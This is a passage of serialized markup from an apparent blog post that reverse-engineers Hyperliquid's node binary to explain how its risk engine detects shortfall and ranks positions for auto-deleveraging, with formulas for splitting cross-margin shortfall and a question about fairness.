:134,"props":158740,"children":158742},{"className":158741},[1211],[158743],{"type":28,"value":158744},"notional",{"type":23,"tag":134,"props":158746,"children":158748},{"className":158747},[1211],[158749],{"type":28,"value":158734},{"type":23,"tag":134,"props":158751,"children":158753},{"className":158752},[21223],[158754],{"type":28,"value":21226},{"type":23,"tag":134,"props":158756,"children":158758},{"className":158757},[1238],[158759],{"type":23,"tag":134,"props":158760,"children":158763},{"className":158761,"style":158762},[1243],"height:0.8804em;",[158764],{"type":23,"tag":134,"props":158765,"children":158766},{},[],{"type":23,"tag":134,"props":158768,"children":158770},{"className":158769},[21217,113077],[],{"type":23,"tag":61,"props":158772,"children":158774},{"id":158773},"what-if-nobody-wants-to-buy-the-position",[158775],{"type":28,"value":158776},"What If Nobody Wants to Buy the Position?",{"type":23,"tag":24,"props":158778,"children":158779},{},[158780],{"type":28,"value":158781},"The market order from the previous section is just a regular order, and it still needs somebody on the other side of the book to fill it.\nIf the book is thin or the move was violent enough that every passive bid got swept, only part of it (or none) gets filled and equity will possibly keep on going down.",{"type":23,"tag":24,"props":158783,"children":158784},{},[158785,158787,158792],{"type":28,"value":158786},"When that happens, the exchange is basically left with a ",{"type":23,"tag":55,"props":158788,"children":158789},{},[158790],{"type":28,"value":158791},"hot potato",{"type":28,"value":158793}," to get rid of: what should it even do with the debt?",{"type":23,"tag":34870,"props":158795,"children":158797},{"id":158796},"the-risk-engine",[158798],{"type":28,"value":158799},"The Risk Engine",{"type":23,"tag":24,"props":158801,"children":158802},{},[158803],{"type":28,"value":158804},"And now we circle back to the risk engine: in order to keep all of these terrible traders from driving the system into ruin, we need some automatic way to prevent and clear bad debt.",{"type":23,"tag":61,"props":158806,"children":158808},{"id":158807},"clearing-up-bad-debt",[158809],{"type":28,"value":158810},"Clearing Up Bad Debt",{"type":23,"tag":24,"props":158812,"children":158813},{},[158814,158815,158822],{"type":28,"value":16084},{"type":23,"tag":31,"props":158816,"children":158819},{"href":158817,"rel":158818},"https://hyperliquid.gitbook.io/hyperliquid-docs/trading/auto-deleveraging",[35],[158820],{"type":28,"value":158821},"Hyperliquid docs",{"type":28,"value":158823}," explain that positions below 2/3 maintenance margin are backstop-liquidated into the HLP liquidator vault. When even that can't keep the book solvent, auto-deleveraging closes the position against opposing traders. What does that even mean?",{"type":23,"tag":24,"props":158825,"children":158826},{},[158827,158829,158840,158842,158848,158850,158856],{"type":28,"value":158828},"To get a better idea of what's going on here, we turn to the binary itself and trace the actual logic. A simple testnet sync gives us a lot of context: within the node's ABCI state, we can see a pretty complex structure named ",{"type":23,"tag":31,"props":158830,"children":158833},{"href":158831,"rel":158832},"https://hyperliquid.gitbook.io/hyperliquid-docs/hypercore/clearinghouse",[35],[158834],{"type":23,"tag":92,"props":158835,"children":158837},{"className":158836},[],[158838],{"type":28,"value":158839},"Clearinghouse",{"type":28,"value":158841},", a struct containing all liquidation-related info, nested within a bigger ",{"type":23,"tag":92,"props":158843,"children":158845},{"className":158844},[],[158846],{"type":28,"value":158847},"Exchange",{"type":28,"value":158849}," data structure. This is an example of what it might hold when serialized as ",{"type":23,"tag":92,"props":158851,"children":158853},{"className":158852},[],[158854],{"type":28,"value":158855},"MessagePack",{"type":28,"value":158857}," at runtime.",{"type":23,"tag":24,"props":158859,"children":158860},{},[158861],{"type":28,"value":158862},"This data will come in handy both for us and the agent.",{"type":23,"tag":158864,"props":158865,"children":158867},"file-download",{"path":158866},"/posts/hyperliquid-risk-engine/clearinghouse.json",[],{"type":23,"tag":24,"props":158869,"children":158870},{},[158871,158873,158878],{"type":28,"value":158872},"Now, when does the risk engine actually check positions? We can answer that question by playing around with xrefs starting from the known field strings in ",{"type":23,"tag":92,"props":158874,"children":158876},{"className":158875},[],[158877],{"type":28,"value":158839},{"type":28,"value":158879},". Some renaming later, we can infer something like this:",{"type":23,"tag":158558,"props":158881,"children":158885},{"source":158882,"target":158883,"direction":158884},"sub_555556262490","clearinghouse_adl_orchestrator","forward",[],{"type":23,"tag":24,"props":158887,"children":158888},{},[158889,158891,158896,158898,158904],{"type":28,"value":158890},"We have one huge function handling all clearinghouse operations, which we call ",{"type":23,"tag":92,"props":158892,"children":158894},{"className":158893},[],[158895],{"type":28,"value":158883},{"type":28,"value":158897},". It is invoked at the end of each block by a top-level method (called indirectly elsewhere, most likely a trait method) that we call ",{"type":23,"tag":92,"props":158899,"children":158901},{"className":158900},[],[158902],{"type":28,"value":158903},"exchange_end_block",{"type":28,"value":158905},". So, at the end of each block we run some checks.",{"type":23,"tag":158527,"props":158907,"children":158908},{},[158909],{"type":23,"tag":24,"props":158910,"children":158911},{},[158912],{"type":28,"value":158913},"Click on any address or line on the left side to get a detailed view of the decompilation or reconstructed source.",{"type":23,"tag":24,"props":158915,"children":158916},{},[158917,158919,158925],{"type":28,"value":158918},"ADL is meant as an emergency measure; unlike liquidations, it is not always operational. Note the branch on the recovered ",{"type":23,"tag":92,"props":158920,"children":158922},{"className":158921},[],[158923],{"type":28,"value":158924},"clearinghouse.perform_auto_deleveraging",{"type":28,"value":158926}," flag.",{"type":23,"tag":158558,"props":158928,"children":158932},{"addr":158929,"line-start":158930,"line-end":158931},"0x555556ac3850","3290","3301",[],{"type":23,"tag":24,"props":158934,"children":158935},{},[158936,158938,158943],{"type":28,"value":158937},"Most importantly, for it to act it must actually be needed. What does that mean according to the ",{"type":23,"tag":92,"props":158939,"children":158941},{"className":158940},[],[158942],{"type":28,"value":158839},{"type":28,"value":324},{"type":23,"tag":9072,"props":158945,"children":158947},{"id":158946},"threshold-condition",[158948],{"type":28,"value":158949},"Threshold Condition",{"type":23,"tag":24,"props":158951,"children":158952},{},[158953,158955,158960],{"type":28,"value":158954},"The natural connection between liquidations and ADL is ",{"type":23,"tag":55,"props":158956,"children":158957},{},[158958],{"type":28,"value":158959},"shortfall",{"type":28,"value":158961},": by how much a position, or the entire system (!), is underwater.",{"type":23,"tag":24,"props":158963,"children":158964},{},[158965],{"type":28,"value":158966},"If we could liquidate every position in time against willing buyers of the debt, there would be no systemic shortfall; ADL is triggered whenever that's not the case.",{"type":23,"tag":18368,"props":158968,"children":158970},{"id":158969},"who-is-underwater",[158971],{"type":28,"value":158972},"Who Is Underwater?",{"type":23,"tag":24,"props":158974,"children":158975},{},[158976,158978,158983,158985,158991],{"type":28,"value":158977},"In order to determine that shortfall (or sum of bad debt), we process a useful tree of losing positions, built at the end of each block and passed to the ",{"type":23,"tag":92,"props":158979,"children":158981},{"className":158980},[],[158982],{"type":28,"value":158883},{"type":28,"value":158984},", starting from all user positions, which are stored in ",{"type":23,"tag":92,"props":158986,"children":158988},{"className":158987},[],[158989],{"type":28,"value":158990},"clearinghouse.user_states",{"type":28,"value":158992},", as we can also see from the serialization.",{"type":23,"tag":158527,"props":158994,"children":158995},{},[158996],{"type":23,"tag":24,"props":158997,"children":158998},{},[158999],{"type":28,"value":159000},"A graph can also branch, you know? Click around to view all possible paths from one function to another.",{"type":23,"tag":158558,"props":159002,"children":159006},{"source":159003,"target":158903,"direction":159004,"path":159005},"adl_init_user_position_iterators","backward","exchange_end_block,build_adl_candidate_set,adl_init_user_position_iterators",[],{"type":23,"tag":24,"props":159008,"children":159009},{},[159010,159011,159016,159018,159024,159026,159032,159034,159040],{"type":28,"value":16084},{"type":23,"tag":92,"props":159012,"children":159014},{"className":159013},[],[159015],{"type":28,"value":159003},{"type":28,"value":159017}," essentially turns that into an ",{"type":23,"tag":92,"props":159019,"children":159021},{"className":159020},[],[159022],{"type":28,"value":159023},"Iter",{"type":28,"value":159025},", then, inside of ",{"type":23,"tag":92,"props":159027,"children":159029},{"className":159028},[],[159030],{"type":28,"value":159031},"build_adl_candidate_set",{"type":28,"value":159033}," each entry is accounted either as a cross or isolated position, depending on the value of the ",{"type":23,"tag":92,"props":159035,"children":159037},{"className":159036},[],[159038],{"type":28,"value":159039},"AdlIterEntry",{"type":28,"value":57833},{"type":23,"tag":158558,"props":159042,"children":159044},{"type-name":159043},"AdlIterContext",[],{"type":23,"tag":24,"props":159046,"children":159047},{},[159048,159050,159056,159058,159064,159066,159072,159074,159079],{"type":28,"value":159049},"Note that in storage, ",{"type":23,"tag":92,"props":159051,"children":159053},{"className":159052},[],[159054],{"type":28,"value":159055},"Isolated",{"type":28,"value":159057}," positions have their own independent ",{"type":23,"tag":92,"props":159059,"children":159061},{"className":159060},[],[159062],{"type":28,"value":159063},"Entry",{"type":28,"value":159065}," in the position iterators, and ",{"type":23,"tag":92,"props":159067,"children":159069},{"className":159068},[],[159070],{"type":28,"value":159071},"Cross",{"type":28,"value":159073}," positions have a single common ",{"type":23,"tag":92,"props":159075,"children":159077},{"className":159076},[],[159078],{"type":28,"value":159063},{"type":28,"value":159080},", which will be spread across several perps. We will see many more branches to handle the two kinds of positions.",{"type":23,"tag":158558,"props":159082,"children":159085},{"addr":159083,"line-start":43757,"line-end":159084},"0x555556266b10","163",[],{"type":23,"tag":24,"props":159087,"children":159088},{},[159089],{"type":28,"value":159090},"Ultimately, we get an iterator of underwater users filtered with the following code path, meaning they couldn't be liquidated by the end of the block according to the earlier threshold.",{"type":23,"tag":158558,"props":159092,"children":159095},{"addr":158929,"line-start":159093,"line-end":159094},"506","527",[],{"type":23,"tag":24,"props":159097,"children":159098},{},[159099,159101],{"type":28,"value":159100},"After iterating over users, if the total losses are less than a predefined constant (hardcoded to $5M in the testnet state), we spare cross-margin positions and log ",{"type":23,"tag":159102,"props":159103,"children":159106},"bndb-xref",{"lines":159104,"addrs":159105},"1-2","0x555556ac3e18-0x555556ac3e18",[159107],{"type":28,"value":159108},"Not performing auto-deleveraging because shortfall={} is acceptable.",{"type":23,"tag":24,"props":159110,"children":159111},{},[159112,159114,159120,159122,159128,159130,159136,159138,159144],{"type":28,"value":159113},"Note that this insurance fund is not applied to every asset: while this isn't documented anywhere, markets referred to as ",{"type":23,"tag":92,"props":159115,"children":159117},{"className":159116},[],[159118],{"type":28,"value":159119},"only_isolated",{"type":28,"value":159121}," (or ",{"type":23,"tag":92,"props":159123,"children":159125},{"className":159124},[],[159126],{"type":28,"value":159127},"strict_isolated",{"type":28,"value":159129}," in MessagePack dumps) are added to a separate queue, ",{"type":23,"tag":92,"props":159131,"children":159133},{"className":159132},[],[159134],{"type":28,"value":159135},"deferred_queue",{"type":28,"value":159137},", which triggers ADL regardless of the system's ",{"type":23,"tag":92,"props":159139,"children":159141},{"className":159140},[],[159142],{"type":28,"value":159143},"total_shortfall",{"type":28,"value":159145},". This is dictated by this branch.",{"type":23,"tag":158558,"props":159147,"children":159150},{"addr":158929,"line-start":159148,"line-end":159149},"211","243",[],{"type":23,"tag":24,"props":159152,"children":159153},{},[159154,159156,159163],{"type":28,"value":159155},"Very interestingly, some of the assets that have this flag, at least on testnet, include HYPE (and other relevant tokens like ZRO, as well as JELLYJELLY from the ",{"type":23,"tag":31,"props":159157,"children":159160},{"href":159158,"rel":159159},"https://info.arkm.com/research/jellyjelly-exploit-on-hyperliquid",[35],[159161],{"type":28,"value":159162},"March 2025 incident",{"type":28,"value":159164},"). Historical metadata for Hyperliquid is very hard to come by, so take this with a pinch of salt when thinking about mainnet.",{"type":23,"tag":18368,"props":159166,"children":159168},{"id":159167},"how-do-we-get-rid-of-debt",[159169],{"type":28,"value":159170},"How Do We Get Rid of Debt?",{"type":23,"tag":24,"props":159172,"children":159173},{},[159174],{"type":28,"value":159175},"Now we know whenever we have shortfall. What is to be done in that case? This is where different risk engines make different design choices: Hyperliquid chooses to apply a queue-based ADL (auto-deleveraging), meaning they forcefully close some winning positions in order to clear the debt of the losing traders.",{"type":23,"tag":24,"props":159177,"children":159178},{},[159179,159181,159186,159188,159193,159195,159200],{"type":28,"value":159180},"Thus, if the debt is insurmountable, the ",{"type":23,"tag":92,"props":159182,"children":159184},{"className":159183},[],[159185],{"type":28,"value":159135},{"type":28,"value":159187}," is overwritten by all the users marked by ",{"type":23,"tag":92,"props":159189,"children":159191},{"className":159190},[],[159192],{"type":28,"value":159031},{"type":28,"value":159194},", otherwise we keep it and only holders of underwater ",{"type":23,"tag":92,"props":159196,"children":159198},{"className":159197},[],[159199],{"type":28,"value":159127},{"type":28,"value":159201}," positions from the earlier loop are considered for ADL.",{"type":23,"tag":158527,"props":159203,"children":159204},{},[159205],{"type":23,"tag":24,"props":159206,"children":159207},{},[159208],{"type":28,"value":159209},"Note how verbose a simple key lookup can be when compiled in Rust.",{"type":23,"tag":158558,"props":159211,"children":159214},{"addr":158929,"line-start":159212,"line-end":159213},"523","526",[],{"type":23,"tag":24,"props":159216,"children":159217},{},[159218,159220,159226,159228,159234,159236,159241],{"type":28,"value":159219},"For each underwater position, we do a ",{"type":23,"tag":159102,"props":159221,"children":159223},{"addrs":159222},"0x555556ac42ad-0x555556ac42be",[159224],{"type":28,"value":159225},"B-tree lookup",{"type":28,"value":159227}," on ",{"type":23,"tag":92,"props":159229,"children":159231},{"className":159230},[],[159232],{"type":28,"value":159233},"clearinghouse.user_states[position.user]",{"type":28,"value":159235},", adding them to a ",{"type":23,"tag":92,"props":159237,"children":159239},{"className":159238},[],[159240],{"type":28,"value":16683},{"type":28,"value":159242}," of users (you would be amazed at how long the compilation of such a simple statement is). Also note the branch below, again on cross and isolated margin positions:",{"type":23,"tag":158558,"props":159244,"children":159247},{"addr":158929,"line-start":159245,"line-end":159246},"635","658",[],{"type":23,"tag":24,"props":159249,"children":159250},{},[159251],{"type":28,"value":159252},"The logic for cross margin positions is more complicated, because we're essentially asking the question of how to split a bankrupt user's total shortfall across their individual positions, so that we can absorb the right proportion of each position, which logically should be:",{"type":23,"tag":87,"props":159254,"children":159255},{},[159256],{"type":23,"tag":92,"props":159257,"children":159259},{"className":159258},[1183,158586],[159260],{"type":23,"tag":134,"props":159261,"children":159263},{"className":159262},[158591],[159264],{"type":23,"tag":134,"props":159265,"children":159267},{"className":159266},[1189],[159268],{"type":23,"tag":134,"props":159269,"children":159271},{"className":159270,"ariaHidden":1195},[1194],[159272],{"type":23,"tag":134,"props":159273,"children":159275},{"className":159274},[1200],[159276,159281],{"type":23,"tag":134,"props":159277,"children":159280},{"className":159278,"style":159279},[1205],"height:4.1904em;vertical-align:-1.8452em;",[],{"type":23,"tag":134,"props":159282,"children":159284},{"className":159283},[1211],[159285],{"type":23,"tag":134,"props":159286,"children":159289},{"className":159287},[159288],"mtable",[159290,159370],{"type":23,"tag":134,"props":159291,"children":159294},{"className":159292},[159293],"col-align-r",[159295],{"type":23,"tag":134,"props":159296,"children":159298},{"className":159297},[1233,21120],[159299,159358],{"type":23,"tag":134,"props":159300,"children":159302},{"className":159301},[1238],[159303,159353],{"type":23,"tag":134,"props":159304,"children":159307},{"className":159305,"style":159306},[1243],"height:2.3452em;",[159308,159331],{"type":23,"tag":134,"props":159309,"children":159311},{"style":159310},"top:-4.3452em;",[159312,159317],{"type":23,"tag":134,"props":159313,"children":159316},{"className":159314,"style":159315},[1252],"height:3.3944em;",[],{"type":23,"tag":134,"props":159318,"children":159320},{"className":159319},[1211],[159321],{"type":23,"tag":134,"props":159322,"children":159324},{"className":159323},[1211,28],[159325],{"type":23,"tag":134,"props":159326,"children":159328},{"className":159327},[1211],[159329],{"type":28,"value":159330},"position_weight",{"type":23,"tag":134,"props":159332,"children":159334},{"style":159333},"top:-2.2092em;",[159335,159339],{"type":23,"tag":134,"props":159336,"children":159338},{"className":159337,"style":159315},[1252],[],{"type":23,"tag":134,"props":159340,"children":159342},{"className":159341},[1211],[159343],{"type":23,"tag":134,"props":159344,"children":159346},{"className":159345},[1211,28],[159347],{"type":23,"tag":134,"props":159348,"children":159350},{"className":159349},[1211],[159351],{"type":28,"value":159352},"position_adl_amount",{"type":23,"tag":134,"props":159354,"children":159356},{"className":159355},[21223],[159357],{"type":28,"value":21226},{"type":23,"tag":134,"props":159359,"children":159361},{"className":159360},[1238],[159362],{"type":23,"tag":134,"props":159363,"children":159366},{"className":159364,"style":159365},[1243],"height:1.8452em;",[159367],{"type":23,"tag":134,"props":159368,"children":159369},{},[],{"type":23,"tag":134,"props":159371,"children":159374},{"className":159372},[159373],"col-align-l",[159375],{"type":23,"tag":134,"props":159376,"children":159378},{"className":159377},[1233,21120],[159379,159580],{"type":23,"tag":134,"props":159380,"children":159382},{"className":159381},[1238],[159383,159575],{"type":23,"tag":134,"props":159384,"children":159386},{"className":159385,"style":159306},[1243],[159387,159515],{"type":23,"tag":134,"props":159388,"children":159389},{"style":159310},[159390,159394],{"type":23,"tag":134,"props":159391,"children":159393},{"className":159392,"style":159315},[1252],[],{"type":23,"tag":134,"props":159395,"children":159397},{"className":159396},[1211],[159398,159402,159406,159411,159415],{"type":23,"tag":134,"props":159399,"children":159401},{"className":159400},[1211],[],{"type":23,"tag":134,"props":159403,"children":159405},{"className":159404,"style":1390},[1292],[],{"type":23,"tag":134,"props":159407,"children":159409},{"className":159408},[1395],[159410],{"type":28,"value":257},{"type":23,"tag":134,"props":159412,"children":159414},{"className":159413,"style":1390},[1292],[],{"type":23,"tag":134,"props":159416,"children":159418},{"className":159417},[1211],[159419,159423,159511],{"type":23,"tag":134,"props":159420,"children":159422},{"className":159421},[21195,113077],[],{"type":23,"tag":134,"props":159424,"children":159426},{"className":159425},[113082],[159427],{"type":23,"tag":134,"props":159428,"children":159430},{"className":159429},[1233,21120],[159431,159499],{"type":23,"tag":134,"props":159432,"children":159434},{"className":159433},[1238],[159435,159494],{"type":23,"tag":134,"props":159436,"children":159439},{"className":159437,"style":159438},[1243],"height:1.3944em;",[159440,159461,159472],{"type":23,"tag":134,"props":159441,"children":159442},{"style":158668},[159443,159447],{"type":23,"tag":134,"props":159444,"children":159446},{"className":159445,"style":111730},[1252],[],{"type":23,"tag":134,"props":159448,"children":159450},{"className":159449},[1211],[159451],{"type":23,"tag":134,"props":159452,"children":159454},{"className":159453},[1211,28],[159455],{"type":23,"tag":134,"props":159456,"children":159458},{"className":159457},[1211],[159459],{"type":28,"value":159460},"total_cross_notional",{"type":23,"tag":134,"props":159462,"children":159463},{"style":113132},[159464,159468],{"type":23,"tag":134,"props":159465,"children":159467},{"className":159466,"style":111730},[1252],[],{"type":23,"tag":134,"props":159469,"children":159471},{"className":159470,"style":113142},[113141],[],{"type":23,"tag":134,"props":159473,"children":159475},{"style":159474},"top:-3.7em;",[159476,159480],{"type":23,"tag":134,"props":159477,"children":159479},{"className":159478,"style":111730},[1252],[],{"type":23,"tag":134,"props":159481,"children":159483},{"className":159482},[1211],[159484],{"type":23,"tag":134,"props":159485,"children":159487},{"className":159486},[1211,28],[159488],{"type":23,"tag":134,"props":159489,"children":159491},{"className":159490},[1211],[159492],{"type":28,"value":159493},"position_notional",{"type":23,"tag":134,"props":159495,"children":159497},{"className":159496},[21223],[159498],{"type":28,"value":21226},{"type":23,"tag":134,"props":159500,"children":159502},{"className":159501},[1238],[159503],{"type":23,"tag":134,"props":159504,"children":159507},{"className":159505,"style":159506},[1243],"height:0.996em;",[159508],{"type":23,"tag":134,"props":159509,"children":159510},{},[],{"type":23,"tag":134,"props":159512,"children":159514},{"className":159513},[21217,113077],[],{"type":23,"tag":134,"props":159516,"children":159517},{"style":159333},[159518,159522],{"type":23,"tag":134,"props":159519,"children":159521},{"className":159520,"style":159315},[1252],[],{"type":23,"tag":134,"props":159523,"children":159525},{"className":159524},[1211],[159526,159530,159534,159539,159543,159553,159557,159562,159566],{"type":23,"tag":134,"props":159527,"children":159529},{"className":159528},[1211],[],{"type":23,"tag":134,"props":159531,"children":159533},{"className":159532,"style":1390},[1292],[],{"type":23,"tag":134,"props":159535,"children":159537},{"className":159536},[1395],[159538],{"type":28,"value":257},{"type":23,"tag":134,"props":159540,"children":159542},{"className":159541,"style":1390},[1292],[],{"type":23,"tag":134,"props":159544,"children":159546},{"className":159545},[1211,28],[159547],{"type":23,"tag":134,"props":159548,"children":159550},{"className":159549},[1211],[159551],{"type":28,"value":159552},"user_shortfall",{"type":23,"tag":134,"props":159554,"children":159556},{"className":159555,"style":1293},[1292],[],{"type":23,"tag":134,"props":159558,"children":159560},{"className":159559},[1298],[159561],{"type":28,"value":110821},{"type":23,"tag":134,"props":159563,"children":159565},{"className":159564,"style":1293},[1292],[],{"type":23,"tag":134,"props":159567,"children":159569},{"className":159568},[1211,28],[159570],{"type":23,"tag":134,"props":159571,"children":159573},{"className":159572},[1211],[159574],{"type":28,"value":159330},{"type":23,"tag":134,"props":159576,"children":159578},{"className":159577},[21223],[159579],{"type":28,"value":21226},{"type":23,"tag":134,"props":159581,"children":159583},{"className":159582},[1238],[159584],{"type":23,"tag":134,"props":159585,"children":159587},{"className":159586,"style":159365},[1243],[159588],{"type":23,"tag":134,"props":159589,"children":159590},{},[],{"type":23,"tag":24,"props":159592,"children":159593},{},[159594],{"type":28,"value":159595},"We do that here:",{"type":23,"tag":158558,"props":159597,"children":159600},{"addr":158929,"line-start":159598,"line-end":159599},"828","981",[],{"type":23,"tag":24,"props":159602,"children":159603},{},[159604,159605,159611,159613,159619],{"type":28,"value":16084},{"type":23,"tag":159102,"props":159606,"children":159608},{"lines":159607},"77-79",[159609],{"type":28,"value":159610},"inner loop",{"type":28,"value":159612}," above spans all ",{"type":23,"tag":92,"props":159614,"children":159616},{"className":159615},[],[159617],{"type":28,"value":159618},"(asset_idx, direction)",{"type":28,"value":159620}," held in the cross margin position.",{"type":23,"tag":24,"props":159622,"children":159623},{},[159624,159626,159632,159634,159640,159641,159647],{"type":28,"value":159625},"For isolated positions the computation is trivial, and we directly write the single position, with its shortfall, to the ",{"type":23,"tag":92,"props":159627,"children":159629},{"className":159628},[],[159630],{"type":28,"value":159631},"adl_output",{"type":28,"value":159633}," b-tree, which is the output of this transformation for both isolated and cross margin positions, containing both ",{"type":23,"tag":92,"props":159635,"children":159637},{"className":159636},[],[159638],{"type":28,"value":159639},"position_id",{"type":28,"value":10458},{"type":23,"tag":92,"props":159642,"children":159644},{"className":159643},[],[159645],{"type":28,"value":159646},"position_shortfall",{"type":28,"value":720},{"type":23,"tag":158558,"props":159649,"children":159652},{"addr":158929,"line-start":159650,"line-end":159651},"2377","2469",[],{"type":23,"tag":24,"props":159654,"children":159655},{},[159656,159658,159664],{"type":28,"value":159657},"Afterwards we can finally loop over the B-tree containing ",{"type":23,"tag":92,"props":159659,"children":159661},{"className":159660},[],[159662],{"type":28,"value":159663},"(position_id, cut)",{"type":28,"value":159665},", which essentially tells us exactly how much of each position needs to be closed, to be later deleveraged from a winning position.",{"type":23,"tag":24,"props":159667,"children":159668},{},[159669,159671,159676],{"type":28,"value":159670},"The final phase of ",{"type":23,"tag":92,"props":159672,"children":159674},{"className":159673},[],[159675],{"type":28,"value":158883},{"type":28,"value":159677}," iterates it, and for each key it builds a counterparty array, initially including all users holding positions, sorting them based on a per-asset ADL ranking score.",{"type":23,"tag":158558,"props":159679,"children":159682},{"addr":158929,"addr-start":159680,"addr-end":159681},"0x555556ac6d52","0x555556ac6de8",[],{"type":23,"tag":24,"props":159684,"children":159685},{},[159686],{"type":28,"value":159687},"How are positions chosen (sorted) to be deleveraged?",{"type":23,"tag":34870,"props":159689,"children":159691},{"id":159690},"who-do-we-deleverage",[159692],{"type":28,"value":159693},"Who Do We Deleverage?",{"type":23,"tag":24,"props":159695,"children":159696},{},[159697],{"type":28,"value":159698},"This question is essential to the solvency and fairness of a perp platform. It is clear why solvency is a priority here.",{"type":23,"tag":24,"props":159700,"children":159701},{},[159702],{"type":28,"value":159703},"But what do we mean by fairness? Colloquially, we can say that the relative wealth of accounts should not be affected by deleveraging.",{"type":23,"tag":24,"props":159705,"children":159706},{},[159707,159709,159716],{"type":28,"value":159708},"More formally, fairness can be given multiple related definitions; see ",{"type":23,"tag":31,"props":159710,"children":159713},{"href":159711,"rel":159712},"https://arxiv.org/abs/2512.01112",[35],[159714],{"type":28,"value":159715},"this paper",{"type":28,"value":159717},". We want to prove that the algorithm used in HL is not axiomatically fair in its implementation (as defined in prop. 6.1 of the paper).",{"type":23,"tag":24,"props":159719,"children":159720},{},[159721],{"type":28,"value":159722},"So, is Hyperliquid fair? Is it always solvent?",{"type":23,"tag":61,"props":159724,"children":159726},{"id":159725},"adl-score-computation",[159727],{"type":28,"value":159728},"ADL Score Computation",{"type":23,"tag":24,"props":159730,"children":159731},{},[159732,159734,159740,159742,159748,159750,159755],{"type":28,"value":159733},"The score function at ",{"type":23,"tag":92,"props":159735,"children":159737},{"className":159736},[],[159738],{"type":28,"value":159739},"compute_adl_ranking_score",{"type":28,"value":159741}," is core to answering this question. It's defined, most likely as an ",{"type":23,"tag":92,"props":159743,"children":159745},{"className":159744},[],[159746],{"type":28,"value":159747},"Ord",{"type":28,"value":159749}," implementation on some 20-byte address representation. A ",{"type":23,"tag":92,"props":159751,"children":159753},{"className":159752},[],[159754],{"type":28,"value":16683},{"type":28,"value":159756}," of those holds the possible counterparties to fill against, and the trait is used by the sort routines that order them by ranking score for each underwater position.",{"type":23,"tag":24,"props":159758,"children":159759},{},[159760,159762,159767,159769,159775,159777,159784,159786,159793],{"type":28,"value":159761},"Those sort routines are ",{"type":23,"tag":55,"props":159763,"children":159764},{},[159765],{"type":28,"value":159766},"generated by the compiler",{"type":28,"value":159768},": since Rust binaries include a lot of metadata by default in ",{"type":23,"tag":92,"props":159770,"children":159772},{"className":159771},[],[159773],{"type":28,"value":159774},".comment",{"type":28,"value":159776},", we may even manually ",{"type":23,"tag":31,"props":159778,"children":159781},{"href":159779,"rel":159780},"https://github.com/renato-osec/patina-research/tree/main/tools/chela",[35],[159782],{"type":28,"value":159783},"take advantage",{"type":28,"value":159785}," of this to recover the ",{"type":23,"tag":31,"props":159787,"children":159790},{"href":159788,"rel":159789},"https://github.com/rust-lang/rust/blob/90b35a6239c3d8bdabc530a6a0816f7ff89a0aaf/library/core/src/slice/sort/stable/mod.rs#L22-L29",[35],[159791],{"type":28,"value":159792},"exact source of library functions",{"type":28,"value":720},{"type":23,"tag":24,"props":159795,"children":159796},{},[159797,159799,159804],{"type":28,"value":159798},"Let's see how this ties back into the ",{"type":23,"tag":92,"props":159800,"children":159802},{"className":159801},[],[159803],{"type":28,"value":158883},{"type":28,"value":1697},{"type":23,"tag":158558,"props":159806,"children":159808},{"source":158883,"target":159739,"direction":158884,"path":159807},"clearinghouse_adl_orchestrator,driftsort_smallsort_insertion_by_adl_ranking,compute_adl_ranking_score",[],{"type":23,"tag":24,"props":159810,"children":159811},{},[159812],{"type":28,"value":159813},"And here's the main call site used for sorting:",{"type":23,"tag":158558,"props":159815,"children":159818},{"addr":158929,"line-start":159816,"line-end":159817},"2806","2814",[],{"type":23,"tag":61,"props":159820,"children":159822},{"id":159821},"ratio-1-effective-leverage",[159823],{"type":28,"value":159824},"Ratio 1: Effective Leverage",{"type":23,"tag":87,"props":159826,"children":159827},{},[159828],{"type":23,"tag":92,"props":159829,"children":159831},{"className":159830},[1183,158586],[159832],{"type":23,"tag":134,"props":159833,"children":159835},{"className":159834},[158591],[159836],{"type":23,"tag":134,"props":159837,"children":159839},{"className":159838},[1189],[159840],{"type":23,"tag":134,"props":159841,"children":159843},{"className":159842,"ariaHidden":1195},[1194],[159844,159875],{"type":23,"tag":134,"props":159845,"children":159847},{"className":159846},[1200],[159848,159852,159862,159866,159871],{"type":23,"tag":134,"props":159849,"children":159851},{"className":159850,"style":114614},[1205],[],{"type":23,"tag":134,"props":159853,"children":159855},{"className":159854},[1211,28],[159856],{"type":23,"tag":134,"props":159857,"children":159859},{"className":159858},[1211],[159860],{"type":28,"value":159861},"effective leverage",{"type":23,"tag":134,"props":159863,"children":159865},{"className":159864,"style":1390},[1292],[],{"type":23,"tag":134,"props":159867,"children":159869},{"className":159868},[1395],[159870],{"type":28,"value":257},{"type":23,"tag":134,"props":159872,"children":159874},{"className":159873,"style":1390},[1292],[],{"type":23,"tag":134,"props":159876,"children":159878},{"className":159877},[1200],[159879,159884],{"type":23,"tag":134,"props":159880,"children":159883},{"className":159881,"style":159882},[1205],"height:2.113em;vertical-align:-0.686em;",[],{"type":23,"tag":134,"props":159885,"children":159887},{"className":159886},[1211],[159888,159892,159987],{"type":23,"tag":134,"props":159889,"children":159891},{"className":159890},[21195,113077],[],{"type":23,"tag":134,"props":159893,"children":159895},{"className":159894},[113082],[159896],{"type":23,"tag":134,"props":159897,"children":159899},{"className":159898},[1233,21120],[159900,159975],{"type":23,"tag":134,"props":159901,"children":159903},{"className":159902},[1238],[159904,159970],{"type":23,"tag":134,"props":159905,"children":159907},{"className":159906,"style":158664},[1243],[159908,159929,159940],{"type":23,"tag":134,"props":159909,"children":159910},{"style":158668},[159911,159915],{"type":23,"tag":134,"props":159912,"children":159914},{"className":159913,"style":111730},[1252],[],{"type":23,"tag":134,"props":159916,"children":159918},{"className":159917},[1211],[159919],{"type":23,"tag":134,"props":159920,"children":159922},{"className":159921},[1211,28],[159923],{"type":23,"tag":134,"props":159924,"children":159926},{"className":159925},[1211],[159927],{"type":28,"value":159928},"account 